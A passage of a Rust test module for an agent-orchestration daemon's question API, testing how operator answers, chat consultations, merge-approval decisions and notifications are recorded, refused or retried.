11640        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11641        state.land_armed_head = None;
11642        state.save_under(fx.home.path()).unwrap();
11643        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11644        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11645        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11646    }
11647
11648    #[tokio::test]
11649    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11650        let fx = Fixture::start().await;
11651        let mut state = obsolete_approval_state();
11652        state.status = RunStatus::Landing;
11653        state.driver_exited = true;
11654        let mut q = Question::new(
11655            state.id.clone(),
11656            crate::land::APPROVAL_NODE.into(),
11657            "land".into(),
11658            "Obsolete approval".into(),
11659            String::new(),
11660            vec!["merge".into(), "hold".into()],
11661        );
11662        state.land_approval = Some(crate::run::LandApproval {
11663            question: q.id.clone(),
11664            head: "head".into(),
11665        });
11666        state.save_under(fx.home.path()).unwrap();
11667        fx.questions().put(&mut q).unwrap();
11668        let mut task = Task::new(
11669            "Owner".into(),
11670            "Original instruction".into(),
11671            state.repo.clone(),
11672            Source::Human,
11673        );
11674        task.runs.push(state.id.clone());
11675        task.status = TaskStatus::Parked;
11676        fx.queue().put(&mut task).unwrap();
11677        // Model a crash after the run stop was persisted but before the queue
11678        // and answered question were flushed. Retrying must finish, not resume.
11679        state.merge_decision = Some(crate::merge_decision::Decision {
11680            question: q.id.clone(),
11681            target: crate::merge_decision::Target {
11682                pr: state.pr.as_ref().unwrap().url.clone(),
11683                head: "head".into(),
11684                language: "ja".into(),
11685            },
11686            choice: crate::merge_decision::DISMISS.into(),
11687            closed: false,
11688            replacement_run: None,
11689            replacement_pr: None,
11690        });
11691        state.status = RunStatus::Superseded;
11692        state.save_under(fx.home.path()).unwrap();
11693        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11694        let path = format!("/api/questions/{}/answer", q.id);
11695        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11696        let done = fx.queue().get(&task.id).unwrap();
11697        assert_eq!(done.status, TaskStatus::Done);
11698        assert_eq!(done.runs, task.runs);
11699        assert_eq!(done.instruction, task.instruction);
11700        assert!(done.action_applied(&q.id));
11701        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11702        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11703        assert!(!fx.questions().get(&q.id).unwrap().status.open());
11704    }
11705
11706    #[tokio::test]
11707    async fn merge_decision_api_persists_exact_target_and_selected_action() {
11708        let fx = Fixture {
11709            home: TempDir::new().unwrap(),
11710            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11711        };
11712        for choice in [
11713            crate::land::HOLD,
11714            crate::land::REPAIR,
11715            crate::land::APPROVE,
11716            crate::merge_decision::WITHDRAW,
11717            "reimplement:beta",
11718        ] {
11719            let mut q = Question::new(
11720                "old-run".into(),
11721                crate::land::APPROVAL_NODE.into(),
11722                "land".into(),
11723                "Decision".into(),
11724                "Review findings".into(),
11725                vec![
11726                    "merge".into(),
11727                    "hold".into(),
11728                    crate::land::REPAIR.into(),
11729                    crate::merge_decision::WITHDRAW.into(),
11730                    "reimplement:beta".into(),
11731                ],
11732            );
11733            q.merge_target = Some(crate::merge_decision::Target {
11734                pr: "https://github.com/example/repo/pull/42".into(),
11735                head: "exact-reviewed-head".into(),
11736                language: "ja".into(),
11737            });
11738            q.consult = Some(ask::ChatConsult {
11739                talk: "another-conversation".into(),
11740                at: jiff::Timestamp::now(),
11741            });
11742            fx.questions().put(&mut q).unwrap();
11743            let ui = Arc::new(Ui::new(
11744                fx.queue(),
11745                fx.questions(),
11746                fx.talks(),
11747                fx.runs(),
11748                fx.home.path().into(),
11749                std::path::PathBuf::from("."),
11750            ));
11751            let response = question_answer(
11752                State(ui.clone()),
11753                Path(q.id.clone()),
11754                Ok(Json(NewAnswer {
11755                    choice: Some(choice.into()),
11756                    text: None,
11757                })),
11758            )
11759            .await
11760            .unwrap();
11761            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
11762            let disk = fx.questions().get(&q.id).unwrap();
11763            assert_eq!(disk.merge_target, q.merge_target);
11764            assert_eq!(disk.consult, q.consult);
11765            assert!(
11766                disk.answer_authority.is_none(),
11767                "a direct owner card is its own decision"
11768            );
11769            assert_eq!(disk.resolution().as_deref(), Some(choice));
11770            assert!(
11771                question_answer(
11772                    State(ui),
11773                    Path(q.id.clone()),
11774                    Ok(Json(NewAnswer {
11775                        choice: Some("merge".into()),
11776                        text: None
11777                    }))
11778                )
11779                .await
11780                .is_err(),
11781                "an already settled decision cannot turn into merge approval"
11782            );
11783        }
11784    }
11785
11786    #[tokio::test]
11787    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
11788        let fx = Fixture {
11789            home: TempDir::new().unwrap(),
11790            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11791        };
11792        let mut state = crate::land::tests::repair_state(true, true);
11793        state.status = RunStatus::Landing;
11794        state.parked = true;
11795        state.driver_exited = true;
11796        let mut task = Task::new(
11797            "Existing PR owner".into(),
11798            state.instruction.clone(),
11799            state.repo.clone(),
11800            Source::Human,
11801        );
11802        task.runs.push(state.id.clone());
11803        task.status = TaskStatus::Parked;
11804        fx.queue().put(&mut task).unwrap();
11805        let mut q = Question::new(
11806            state.id.clone(),
11807            crate::land::APPROVAL_NODE.into(),
11808            "land".into(),
11809            "Contested merge".into(),
11810            "Original evidence".into(),
11811            vec!["merge".into(), "hold".into()],
11812        );
11813        state.land_approval = Some(crate::run::LandApproval {
11814            question: q.id.clone(),
11815            head: "reviewed-head".into(),
11816        });
11817        state.save_under(fx.home.path()).unwrap();
11818        fx.questions().put(&mut q).unwrap();
11819        // A later repair answer on this old card supersedes this manual hold.
11820        task.hold_manual(Some("Pause this PR".into()));
11821        fx.queue().put(&mut task).unwrap();
11822        // POST directly, without a preceding GET: validation must see the
11823        // same durable upgrade that the card, CLI and chat see.
11824        let ui = Arc::new(Ui::new(
11825            fx.queue(),
11826            fx.questions(),
11827            fx.talks(),
11828            fx.runs(),
11829            fx.home.path().to_path_buf(),
11830            state.repo.clone(),
11831        ));
11832        let response = question_answer(
11833            State(ui),
11834            Path(q.id.clone()),
11835            Ok(Json(NewAnswer {
11836                choice: Some(crate::land::REPAIR.into()),
11837                text: None,
11838            })),
11839        )
11840        .await
11841        .unwrap();
11842        assert_eq!(response.0.question.id, q.id);
11843        let upgraded = fx.questions().get(&q.id).unwrap();
11844        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
11845        assert!(upgraded.detail.starts_with("Original evidence"));
11846        let claim = fx.queue().claim(&task.id).unwrap();
11847        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11848        assert!(
11849            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
11850            "an existing driver keeps its claim"
11851        );
11852        drop(claim);
11853        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11854        let resumed = fx.queue().get(&task.id).unwrap();
11855        assert_eq!(
11856            resumed
11857                .resume_override
11858                .as_ref()
11859                .unwrap()
11860                .pinned_run
11861                .as_deref(),
11862            Some(state.id.as_str())
11863        );
11864        assert!(resumed.status.runnable());
11865        assert_eq!(resumed.instruction, task.instruction);
11866        assert_eq!(resumed.runs, task.runs);
11867        assert!(resumed.action_applied(&q.id));
11868        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11869        assert_eq!(fx.queue().list().len(), 1);
11870        assert_eq!(
11871            fx.queue().get(&task.id).unwrap().resume_override,
11872            resumed.resume_override
11873        );
11874        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11875        assert!(
11876            disk.merge_repairs.is_empty(),
11877            "only the claimed run driver may execute repair"
11878        );
11879        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
11880    }
11881
11882    #[tokio::test]
11883    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
11884        let fx = Fixture::start().await;
11885        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11886        let path = format!("/api/questions/{id}/answer");
11887
11888        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
11889        assert_eq!(res.status, 200, "{}", res.body);
11890        let body = res.json();
11891        assert_eq!(body["status"], "answered");
11892        assert_eq!(body["answer"]["choice"], "Redis");
11893
11894        // Answered from the terminal in between the list and the tap: the UI
11895        // must be able to tell this from a bad request, so it can show the
11896        // recorded answer instead of an error.
11897        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
11898        assert_eq!(again.status, 409, "{}", again.body);
11899        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11900    }
11901
11902    #[tokio::test]
11903    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
11904        let home = tempfile::tempdir().unwrap();
11905        let ui = delta_test_ui(home.path());
11906        let mut q = Question::new(
11907            "task".into(),
11908            crate::land::APPROVAL_NODE.into(),
11909            "land".into(),
11910            "Explain?".into(),
11911            String::new(),
11912            vec!["hold".into()],
11913        );
11914        q.deputy = Some(ask::Deputy::new("context".into()));
11915        ui.questions.put(&mut q).unwrap();
11916        let mut cfg = stub_config();
11917        cfg.daemon.max_deputies = 0;
11918        let mut status = crate::daemon::Status::new();
11919        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
11920        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
11921        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11922        let error = question_say(
11923            State(ui.clone()),
11924            Path(q.id.clone()),
11925            Ok(Json(NewSay {
11926                body: "Explain the findings".into(),
11927            })),
11928        )
11929        .await
11930        .unwrap_err();
11931        assert_eq!(
11932            error.text_reason,
11933            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
11934        );
11935        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
11936
11937        let mut text = Question::new(
11938            "task".into(),
11939            "ask".into(),
11940            "operator".into(),
11941            "Which name?".into(),
11942            String::new(),
11943            vec![],
11944        );
11945        ui.questions.put(&mut text).unwrap();
11946        let Json(view) = question_answer(
11947            State(ui.clone()),
11948            Path(text.id.clone()),
11949            Ok(Json(NewAnswer {
11950                choice: None,
11951                text: Some("chosen name".into()),
11952            })),
11953        )
11954        .await
11955        .unwrap();
11956        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
11957        assert!(!ui.questions.get(&text.id).unwrap().status.open());
11958    }
11959
11960    #[tokio::test]
11961    async fn question_text_handler_admission_without_transport() {
11962        let home = tempfile::tempdir().unwrap();
11963        let ui = delta_test_ui(home.path());
11964        let mut q = Question::new(
11965            "task".into(),
11966            crate::land::APPROVAL_NODE.into(),
11967            "land".into(),
11968            "May this PR merge?".into(),
11969            String::new(),
11970            vec!["hold".into()],
11971        );
11972        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
11973        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11974        ui.questions.put(&mut q).unwrap();
11975        let say = || {
11976            Ok(Json(NewSay {
11977                body: "Explain the findings".into(),
11978            }))
11979        };
11980        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
11981            .await
11982            .unwrap_err();
11983        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
11984        let response = rejected.into_response();
11985        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
11986            .await
11987            .unwrap();
11988        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
11989        assert_eq!(body["code"], "question_text_unavailable");
11990        assert_eq!(body["reason"], "deputy_exhausted");
11991        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
11992        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
11993        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
11994        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
11995            .await
11996            .unwrap();
11997        assert_eq!(view.text_delivery.state, "live");
11998        assert!(view.question.waiter.is_none());
11999        assert!(view.question.cwd.is_none());
12000        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12001        ui.questions.drop_lease(&q.id);
12002        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12003            .await
12004            .unwrap_err();
12005        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12006        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12007        let _ = question_answer(
12008            State(ui.clone()),
12009            Path(q.id.clone()),
12010            Ok(Json(NewAnswer {
12011                choice: Some("hold".into()),
12012                text: None,
12013            })),
12014        )
12015        .await
12016        .unwrap();
12017        assert_eq!(
12018            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12019            Some("hold")
12020        );
12021    }
12022
12023    #[tokio::test]
12024    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12025        let fx = Fixture::start().await;
12026        let store = fx.questions();
12027        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12028        store
12029            .update(&id, |q| {
12030                q.node = crate::land::APPROVAL_NODE.to_owned();
12031                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12032                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12033                Ok(())
12034            })
12035            .unwrap();
12036        let path = format!("/api/questions/{id}/say");
12037        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12038        assert_eq!(refused.status, 422, "{}", refused.body);
12039        assert!(
12040            refused.json()["error"]
12041                .as_str()
12042                .unwrap()
12043                .contains("deputy_exhausted")
12044        );
12045        assert!(store.get(&id).unwrap().thread.is_empty());
12046
12047        // A final live deputy is usable even with no ordinary waiter/cwd.
12048        store.beat(&id, ask::WaiterKind::Deputy);
12049        let view = fx.get("/api/questions").await.json();
12050        assert_eq!(view[0]["text_delivery"]["state"], "live");
12051        let accepted = fx
12052            .post(&path, Some(r#"{"body":"explain the findings"}"#))
12053            .await;
12054        assert_eq!(accepted.status, 200, "{}", accepted.body);
12055        let before = std::fs::read(store.path_of(&id)).unwrap();
12056
12057        // The recipient exits between rendering and sending. Rejection must
12058        // preserve previously accepted text, the answer and delivery cursor.
12059        store.drop_lease(&id);
12060        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12061        assert_eq!(refused.status, 422, "{}", refused.body);
12062        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12063        let held = fx
12064            .post(
12065                &format!("/api/questions/{id}/answer"),
12066                Some(r#"{"choice":"hold"}"#),
12067            )
12068            .await;
12069        assert_eq!(held.status, 200, "{}", held.body);
12070        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12071    }
12072
12073    #[tokio::test]
12074    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12075        let repo = tempfile::tempdir().unwrap();
12076        let mut cfg = stub_config();
12077        cfg.daemon.max_deputies = 0;
12078        std::fs::write(
12079            repo.path().join("magi.toml"),
12080            toml::to_string(&cfg).unwrap(),
12081        )
12082        .unwrap();
12083        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12084        let mut status = crate::daemon::Status::new();
12085        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12086        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12087        let id = ask(&fx, "Explain?", &["hold"]);
12088        fx.questions()
12089            .update(&id, |q| {
12090                q.node = crate::land::APPROVAL_NODE.into();
12091                q.deputy = Some(ask::Deputy::new("context".into()));
12092                q.deputy.as_mut().unwrap().agent = "stub".into();
12093                Ok(())
12094            })
12095            .unwrap();
12096        cfg.daemon.max_deputies = 1;
12097        std::fs::write(
12098            repo.path().join("magi.toml"),
12099            toml::to_string(&cfg).unwrap(),
12100        )
12101        .unwrap();
12102        let view = fx.get("/api/questions").await.json();
12103        assert_eq!(view[0]["deputies_enabled"], true);
12104        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12105        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12106        let res = fx
12107            .post(
12108                &format!("/api/questions/{id}/say"),
12109                Some(r#"{"body":"Please explain"}"#),
12110            )
12111            .await;
12112        assert_eq!(res.status, 422, "{}", res.body);
12113        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12114    }
12115
12116    #[tokio::test]
12117    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12118        let fx = Fixture::start().await;
12119        let id = ask(&fx, "No seat", &[]);
12120        let store = fx.questions();
12121        let before = std::fs::read(store.path_of(&id)).unwrap();
12122        let res = fx
12123            .post(
12124                &format!("/api/questions/{id}/say"),
12125                Some(r#"{"body":"hello"}"#),
12126            )
12127            .await;
12128        assert_eq!(res.status, 422, "{}", res.body);
12129        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12130        let res = fx
12131            .post(
12132                &format!("/api/questions/{id}/answer"),
12133                Some(r#"{"text":"hello"}"#),
12134            )
12135            .await;
12136        assert_eq!(res.status, 200, "{}", res.body);
12137        assert_eq!(
12138            store.get(&id).unwrap().resolution().as_deref(),
12139            Some("hello")
12140        );
12141    }
12142
12143    #[tokio::test]
12144    async fn saying_something_appends_a_turn_without_answering() {
12145        let fx = Fixture::start().await;
12146        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12147        fx.questions().beat(&id, ask::WaiterKind::Asker);
12148        let path = format!("/api/questions/{id}/say");
12149
12150        let res = fx
12151            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12152            .await;
12153        assert_eq!(res.status, 200, "{}", res.body);
12154        let body = res.json();
12155        assert_eq!(body["status"], "open", "talking back is not a decision");
12156        assert_eq!(body["answer"], Value::Null);
12157        assert_eq!(body["thread"][0]["who"], "operator");
12158        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12159        assert_eq!(body["waiting_on_agent"], true);
12160        // Still open, still counted, still exactly one question.
12161        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12162    }
12163
12164    #[tokio::test]
12165    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12166        let fx = Fixture::start().await;
12167        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12168
12169        let list = fx.get("/api/questions").await.json();
12170        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12171
12172        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12173        assert_eq!(res.status, 409, "{}", res.body);
12174        let q = fx.questions().get(&id).unwrap();
12175        assert!(q.status.open());
12176        assert!(q.consult.is_none());
12177    }
12178
12179    #[tokio::test]
12180    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12181        let fx = Fixture::start().await;
12182        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12183        let cfg = Config {
12184            agents: vec![crate::config::AgentSpec {
12185                id: "mock".to_owned(),
12186                kind: crate::config::AgentKind::Command,
12187                model: None,
12188                command: vec!["true".to_owned()],
12189                extra_args: Vec::new(),
12190                env: Default::default(),
12191                prompt_delivery: None,
12192            }],
12193            ..Config::default()
12194        };
12195        let talk = crate::talk::begin(
12196            &fx.talks(),
12197            &cfg,
12198            fx.home.path().to_path_buf(),
12199            Some("mock"),
12200        )
12201        .unwrap();
12202        let mut task = Task::new(
12203            "t".to_owned(),
12204            "Do it".to_owned(),
12205            PathBuf::from("/repo/magi"),
12206            Source::Agent {
12207                run: talk.id.clone(),
12208                node: crate::queue::CHAT_NODE.to_owned(),
12209            },
12210        );
12211        task.start("20260902-000000-beef".to_owned());
12212        fx.queue().put(&mut task).unwrap();
12213
12214        let list = fx.get("/api/questions").await.json();
12215        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12216        assert_eq!(
12217            list[0]["choices"],
12218            serde_json::json!(["SQLite", "Redis"]),
12219            "the hand-over is never a choice"
12220        );
12221        fx.questions()
12222            .update(&id, |q| {
12223                q.node = crate::land::APPROVAL_NODE.into();
12224                q.choices = vec!["merge".into(), "hold".into()];
12225                Ok(())
12226            })
12227            .unwrap();
12228        let list = fx.get("/api/questions").await.json();
12229        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12230        assert_eq!(list[0]["can_consult_chat"], true);
12231        fx.questions()
12232            .update(&id, |q| {
12233                q.node = crate::bump::NOTICE_NODE.into();
12234                Ok(())
12235            })
12236            .unwrap();
12237        let list = fx.get("/api/questions").await.json();
12238        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12239        assert_eq!(list[0]["can_consult_chat"], false);
12240    }
12241
12242    #[tokio::test]
12243    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12244        let fx = Fixture::start().await;
12245        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12246        fx.questions()
12247            .update(&id, |q| {
12248                q.node = crate::land::APPROVAL_NODE.into();
12249                q.choices = vec!["merge".into(), "hold".into()];
12250                Ok(())
12251            })
12252            .unwrap();
12253        let cfg = Config {
12254            agents: vec![crate::config::AgentSpec {
12255                id: "mock".to_owned(),
12256                kind: crate::config::AgentKind::Command,
12257                model: None,
12258                command: vec!["true".to_owned()],
12259                extra_args: Vec::new(),
12260                env: Default::default(),
12261                prompt_delivery: None,
12262            }],
12263            ..Config::default()
12264        };
12265        // Not a git working tree, so its `magi.toml` is read from disk.
12266        let repo = fx.home.path().join("chat-repo");
12267        std::fs::create_dir_all(&repo).unwrap();
12268        let toml = repo.join("magi.toml");
12269        std::fs::write(&toml, "this is = = not toml").unwrap();
12270        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12271        let mut task = Task::new(
12272            "t".to_owned(),
12273            "Do it".to_owned(),
12274            PathBuf::from("/repo/magi"),
12275            Source::Agent {
12276                run: talk.id.clone(),
12277                node: crate::queue::CHAT_NODE.to_owned(),
12278            },
12279        );
12280        task.start("20260902-000000-beef".to_owned());
12281        fx.queue().put(&mut task).unwrap();
12282
12283        let path = format!("/api/questions/{id}/consult");
12284        let res = fx.post(&path, None).await;
12285        assert!(res.status >= 400, "{}", res.body);
12286        assert!(fx.questions().get(&id).unwrap().consult.is_none());
12287        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12288
12289        std::fs::write(&toml, "").unwrap();
12290        let res = fx.post(&path, None).await;
12291        assert_eq!(res.status, 202, "{}", res.body);
12292        assert!(fx.questions().get(&id).unwrap().consult.is_some());
12293        let q = fx.questions().get(&id).unwrap();
12294        assert!(q.status.open());
12295        assert!(q.answer.is_none());
12296        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12297        assert_eq!(res.json()["can_consult_chat"], true);
12298        let list = fx.get("/api/questions").await.json();
12299        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12300        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12301
12302        let res = fx
12303            .post(
12304                &format!("/api/questions/{id}/answer"),
12305                Some(r#"{"choice":"hold"}"#),
12306            )
12307            .await;
12308        assert_eq!(res.status, 200, "{}", res.body);
12309        assert_eq!(res.json()["answer"]["choice"], "hold");
12310        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12311        assert_eq!(res.json()["can_consult_chat"], false);
12312        assert_eq!(fx.post(&path, None).await.status, 409);
12313
12314        let mut talk = fx.talks().get(&talk.id).unwrap();
12315        crate::talk::close(&mut talk, &fx.talks()).unwrap();
12316        let list = fx.get("/api/questions").await.json();
12317        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12318        assert_eq!(list[0]["origin_chat_closed"], true);
12319        assert_eq!(list[0]["can_consult_chat"], false);
12320
12321        fx.talks().remove(&talk.id).unwrap();
12322        let list = fx.get("/api/questions").await.json();
12323        assert_eq!(list[0]["origin_chat"], Value::Null);
12324        assert_eq!(list[0]["origin_chat_closed"], false);
12325        assert_eq!(list[0]["can_consult_chat"], false);
12326    }
12327
12328    #[tokio::test]
12329    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12330        let fx = Fixture::start().await;
12331        let store = fx.questions();
12332        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12333        store.beat(&id, ask::WaiterKind::Asker);
12334        assert_eq!(
12335            fx.get("/api/health").await.json()["questions_needs_owner"],
12336            1
12337        );
12338
12339        // The owner asks back instead of deciding: the ask bar, the nav badge
12340        // and the title must stop naming this question, because there is
12341        // nothing to decide until the agent answers - `status` alone cannot
12342        // say that, which is the whole reason `questions_needs_owner` exists
12343        // alongside `questions_open`.
12344        let res = fx
12345            .post(
12346                &format!("/api/questions/{id}/say"),
12347                Some(r#"{"body":"why not Postgres?"}"#),
12348            )
12349            .await;
12350        assert_eq!(res.status, 200, "{}", res.body);
12351        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12352        assert_eq!(
12353            fx.get("/api/health").await.json()["questions_needs_owner"],
12354            0,
12355            "waiting on the agent is not waiting on the owner"
12356        );
12357
12358        // `magi ask --thread` replying is what brings the owner count back -
12359        // the same event that would resume the CLI call blocked in `magi
12360        // ask`.
12361        let mut q = store.get(&id).expect("get");
12362        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12363            .expect("reply");
12364        store.put(&mut q).expect("put");
12365        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12366        assert_eq!(
12367            fx.get("/api/health").await.json()["questions_needs_owner"],
12368            1,
12369            "the agent's reply is what should light the banner back up"
12370        );
12371    }
12372
12373    #[tokio::test]
12374    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12375        let fx = Fixture::start().await;
12376        let store = fx.questions();
12377
12378        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12379        let res = fx
12380            .post(
12381                &format!("/api/questions/{empty_id}/say"),
12382                Some(r#"{"body":"   "}"#),
12383            )
12384            .await;
12385        assert_eq!(res.status, 400, "{}", res.body);
12386
12387        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12388        let mut answered = store.get(&answered_id).expect("get");
12389        answered
12390            .answer(Answer::Choice("SQLite".to_owned()))
12391            .expect("answer");
12392        store.put(&mut answered).expect("put");
12393        let res = fx
12394            .post(
12395                &format!("/api/questions/{answered_id}/say"),
12396                Some(r#"{"body":"still there?"}"#),
12397            )
12398            .await;
12399        assert_eq!(res.status, 409, "{}", res.body);
12400
12401        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12402        let mut abandoned = store.get(&abandoned_id).expect("get");
12403        abandoned.abandon("timed out");
12404        store.put(&mut abandoned).expect("put");
12405        let res = fx
12406            .post(
12407                &format!("/api/questions/{abandoned_id}/say"),
12408                Some(r#"{"body":"still there?"}"#),
12409            )
12410            .await;
12411        assert_eq!(res.status, 409, "{}", res.body);
12412    }
12413
12414    #[tokio::test]
12415    async fn an_answer_the_question_does_not_offer_is_refused() {
12416        let fx = Fixture::start().await;
12417        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12418        let path = format!("/api/questions/{id}/answer");
12419
12420        for body in [
12421            r#"{"choice":"Postgres"}"#,
12422            r#"{"text":"whatever you think"}"#,
12423            r#"{"choice":"Redis","text":"both"}"#,
12424            r#"{}"#,
12425        ] {
12426            let res = fx.post(&path, Some(body)).await;
12427            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12428            assert!(res.json()["error"].is_string(), "{}", res.body);
12429        }
12430        // Nothing above may have answered it.
12431        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12432    }
12433
12434    #[tokio::test]
12435    async fn a_free_text_question_takes_text_and_not_a_choice() {
12436        let fx = Fixture::start().await;
12437        let id = ask(&fx, "What should the flag be called?", &[]);
12438        fx.questions().beat(&id, ask::WaiterKind::Asker);
12439        let path = format!("/api/questions/{id}/answer");
12440
12441        assert_eq!(
12442            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12443            400
12444        );
12445        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12446        assert_eq!(res.status, 200, "{}", res.body);
12447        assert_eq!(res.json()["answer"]["text"], "--json");
12448    }
12449
12450    #[tokio::test]
12451    async fn an_unknown_question_is_a_json_404() {
12452        let fx = Fixture::start().await;
12453        let res = fx
12454            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12455            .await;
12456        assert_eq!(res.status, 404, "{}", res.body);
12457        assert!(res.json()["error"].is_string());
12458    }
12459
12460    #[tokio::test]
12461    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12462        let fx = Fixture::start().await;
12463        let questions = Questions::at(fx.home.path().join("questions"));
12464        let store = Notices::at(fx.home.path().join("notifications"));
12465        let mut q = ask::Question::new(
12466            "t1".into(),
12467            "conduct".into(),
12468            "conductor".into(),
12469            "Continue?".into(),
12470            String::new(),
12471            Vec::new(),
12472        );
12473        questions.put(&mut q).unwrap();
12474        let mut n = Notice::warn("task:t1", "Task t1 is held.");
12475        n.covered_by = Some(q.id.clone());
12476        let n = store.raise(n).unwrap();
12477        let listed = fx.get("/api/notifications").await.json();
12478        assert_eq!(listed["items"][0]["answerable_question"], q.id);
12479        questions
12480            .update(&q.id, |q| {
12481                q.abandon("run gone");
12482                Ok(())
12483            })
12484            .unwrap();
12485        let listed = fx.get("/api/notifications").await.json();
12486        assert!(listed["items"][0]["answerable_question"].is_null());
12487        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12488        assert!(
12489            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12490                .unwrap()
12491                .contains("answerable_question")
12492        );
12493    }
12494
12495    #[tokio::test]
12496    async fn notifications_list_read_dismiss_and_health_agree() {
12497        let fx = Fixture::start().await;
